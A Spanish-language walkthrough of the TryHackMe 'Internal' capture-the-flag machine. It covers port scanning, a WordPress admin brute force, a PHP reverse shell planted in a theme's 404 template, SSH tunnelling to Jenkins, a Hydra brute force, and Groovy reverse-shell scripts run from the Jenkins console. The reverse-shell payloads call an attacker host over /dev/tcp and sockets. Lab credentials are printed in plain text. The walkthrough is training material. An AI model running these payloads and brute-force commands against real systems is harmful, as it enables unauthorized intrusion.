Internal (THM) Walkthrough.
Internal (THM) Walkthrough.
Descripción de la Maquina
Ha sido asignado a un cliente que desea que se realice una prueba de penetración en un entorno que se lanzará a producción en tres semanas.
Alcance del Trabajo
El cliente solicita que un ingeniero realice una evaluación externa, de aplicación web e interna del entorno virtual proporcionado. El cliente ha solicitado que se brinde información mínima sobre la evaluación, queriendo que el compromiso se realice desde los ojos de un actor malicioso (prueba de penetración de caja negra). El cliente le ha pedido que asegure dos banderas (no se proporciona la ubicación) como prueba de explotación:
User.txt
root.txt
Además, el cliente ha proporcionado las siguientes asignaciones de alcance:
• Asegúrese de modificar su archivo de hosts para reflejar internal.thm
• Cualquier herramienta o técnica está permitida en este compromiso.
• Localice y anote todas las vulnerabilidades encontradas
• Envíe las banderas descubiertas al tablero
• Solo la dirección IP asignada a su máquina está dentro del alcance
Datos del Servidor (Internal):
Las direcciones IP han ido cambiando durante el walkthrough ya que por necesidad de tubo que reiniciar la maquina victima varias veces, las IP victimas han sido las siguientes.
10.10.216.149
10.10.234.19
10.10.217.213
Fase de Reconocimiento.
Hacemos ping a la maquina victima para comprobar si tenemos acceso a ella.
ping -c 1 10.10.216.149
y obtenemos que ha recibido el paquete transmitido y que tiene un ttl=64, por lo que se trata de una maquina Linux.
Ahora ejecutamos un escaneo con nmap para ver que puertos hay abiertos:
nmap -p- -sS -Pn -n -vvv --min-rate 5000 10.10.216.149 -oN target
Donde nos arrojara los siguientes resultados:
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 02:CE:60:FE:A0:61 (Unknown)
Ahora tocara hacer un escaneo en profundidad sobre las versiones que corren y lanzaremos unos Scripts de reconocimiento.
root@ip-10-10-228-184:~# nmap -p22,80 -sCV 10.10.216.149 -oN target2
Y el resultado que nos arroja es:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
| 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_ 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (EdDSA)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:CE:60:FE:A0:61 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vemos que el servicio web corre por Apache 2.4.29, y el servicio ssh usa la versión OpenSSH 7.6 donde no nos arroja nada ya que la ultima vulnerabilidad conocida de SSH es a partir de la 7.2 donde se pueden enumerar usuarios.
Entonces nos centraremos en el servidor web. Lanzaremos la aplicación de whatweb para saber que sistema operativo esta lanzando y confirmaremos la versión de Apache.
root@ip-10-10-228-184:~# whatweb 10.10.216.149
http://10.10.216.149 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.216.149], Title[Apache2 Ubuntu Default Page: It works]
Si vamos solo a la web, veremos la pagina por defecto de Apache.
Así que haremos un poco de Fuzzing a ver si listamos algún recurso o directorio.
Con el siguiente comando:
wfuzz -c -L --sc=200,301 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.216.149/FUZZ
Y podemos observar la primera ruta que es: /blog y /phpmyadmin A continuación pasaremos a ver el contenido que nos brinda.
Y como no se ve bien el contenido, introduciremos la dirección y la IP dentro de nuestro /etc/hosts
Una vez hecho esto, ya vemos el contenido correctamente.
Una vez dentro del CMS vemos que se trata de un wordpress, entonces acudimos a la pagina de hacktricks para ver unos cuantos trucos Y comenzar con la fase de Explotación.
Fase de Explotación
Tips:
Para saber la versión:
/license.txt o /readme.html
curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
En el código de la pagina:
<meta name="generator" content="WordPress 5.4.2" />
Para obtener usuarios:
curl -s -I -X GET http://blog.example.com/?author=1
Para saber complementos y temas instalados
/wp-content
/wp-content/themes/twentytwelve/404.php
Rutas interesantes:
wp-config.php
En este caso sabemos que la versión es la 5.4.2, y que solo existe el usuario admin.
Ahora usaremos wpscan para hacer un ataque de fuerza bruta usando el comando siguiente:
wpscan --url http://10.10.217.213/blog -U admin -P /usr/share/wordlists/rockyou.txt
Y obtenemos el password siguiente.
Admin / my2boys
Una vez nos hagamos login en /wp-admin, ya estaremos dentro del panel de administración.
Una vez dentro, nos dirigimos a Apparence/Theme Editor.
Allí cargaremos nuestro script de php (2)
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.24.1/4433 0>&1' ");
?>
En el apartado 404 Template (1).
Y subimos la página (3).
Luego nos dirigimos a para que al cargar la pagina obtengamos una reverse shell a la maquina victima.
Los temas se encuentran en /wp-content/ y los contenidos relacionados con los temas están en /wp-content/themes/. Por lo tanto, el nombre de nuestro tema es twentyseventeen, lo que significa que el archivo estará en:
http://10.10.217.213/blog/wp-content/themes/twentyseventeen/404.php
Nos abrimos una consola a la escucha con nc, y actualizamos el navegador. ¡¡¡Ya estaremos dentro!!!
Trataremos la TTY:
script /dev/null -c bash # Lanza pseudoconsola
[ctrl+z] # Suspende la shell actual
stty raw -echo
fg # Recupera la shell suspendida
reset # Reinicia la configuración de la terminal
xterm # Especifica el tipo de terminal
export TERM=xterm # Asigna xterm a la variable TERM
export SHELL=bash # Asigna bash a la variable SHELL
stty rows <VALOR_FILAS> columns <VALOR_COLUMNAS>
Nos dirigimos a la ruta Wordpress a ver si podemos ver credenciales en texto plano en el apartado wp-config.php, allí veremos un usuario (1), y un password (2).
No nos sirve para nada ya que parecen credenciales por defecto.
Veremos el /etc/passwd para ver que usuarios tiene el sistema, y nos presenta dos usuarios: root y aubreanna.
Si buscamos permisos SUID, con “find / -perm -u=s -type f 2>/dev/null” veremos que podemos escalar privilegios con pkexec aunque esto nos alejará del propósito de la maquina.
El objetivo de esta maquina es movermos por los directorios hasta encontrar una pista interesante. Puedes llegar a ella buscando pistas sobre las flags:
• locate user.txt
/usr/share/doc/phpmyadmin/html/_sources/user.txt
• locate root.txt
• locate *.txt
…
/opt/wp-save.txt
En este último que costará de encontrar obtenemos la siguiente información:
Y nos dará estas credenciales del usuario aubreanna:
aubreanna:bubb13guM!@#123
Ya podemos cambiar al usuario aubreanna con su, pero si queremos una terminal en mejor estado. Podemos salir y conectarnos con las credenciales obtenidas por SSH.
Una vez en el directorio /home/aubreanna, podremos observar la flag de user.txt
Vemos también que tiene un archivo Jenkins.txt que si lo abrimos nos dice que Jenkins esta corriendo en local en el 172.17.0.2:8080.
Entonces lo más fácil que podemos hacer es redirigir por el puerto 8585 nuestro, el puerto 8080 de la maquina victima usando el siguiente parámetro e introduciendo la contraseña del usuario:
ssh -L 8585:172.17.0.2:8080 aubreanna@10.10.211.92
Una vez hecho, en nuestro navegador solo tendremos que poner localhost:8585 y ya tendremos acceso a Jenkins.
Hasta aquí lo que hemos hecho ha sido lo siguiente:
Explotación de Jenkins
Después de probar credenciales por defecto, no queda otro recurso que usar un ataque de fuerza bruta.
Para este fin usaremos la herramienta Hydra y el navegador, para obtener la información que necesitamos.
1. Hacemos Login para ver donde manda el formulario
2. Copiamos los datos de donde se envía
3. Copiamos la línea sobre como se envían los datos
Probaremos a atacar por fuerza bruta el usuario admin, si no funciona, probaremos con una lista posible de usuarios.
Con los datos recopilados quedarían las instrucciones para hidra así:
hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost -s 8585 http-post-form "/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password" -t 64
Y en un rato ya tendríamos la contraseña de acceso.
Una vez dentro de Jenkins, vamos a Manage Jenkins y a Script Console.
Si buscamos en Google Jenkins exploit bash (ya que estamos en Linux), nos saldrá un articulo de blog.pentesteracademy.com con el siguiente script:
String host="10.10.1.143";
int port=4545;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Donde cambiaremos la linea de host, port y cmd por los datos de nuestra maquina, y lo ejecutaremos en jenkins pero antes deberemos ponernos a la escucha en nuestra maquina.
Si no funciona podemos probar con otros Scripts en Java como por ejemplo:
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash”, “-c”, “exec 5<>/dev/tcp/10.10.1.143/4545;cat <&5 | while read line; do $line 2>&5 >&5; done");
p.waitFor();
Una vez dentro, veremos la ruta /opt que antes resultó interesante ya que contenía información sensible.
Obtenemos las siguientes credenciales con este texto:
Will quería que estas credenciales estuvieran aseguradas detrás del contenedor de Jenkins ya que aquí tenemos varias capas de defensa. Úselos si necesita acceso a la cuenta de usuario raíz.
root:tr0ub13guM!@#123
Probaremos esta credenciales fuera del contenedor, en la maquina internal, para ver si es posible cambiar de usuario, con las credenciales que hemos obtenido.
Una vez hemos conseguido ser usuario root, ya podremos leer la flag de root.txt
















Comentarios
Publicar un comentario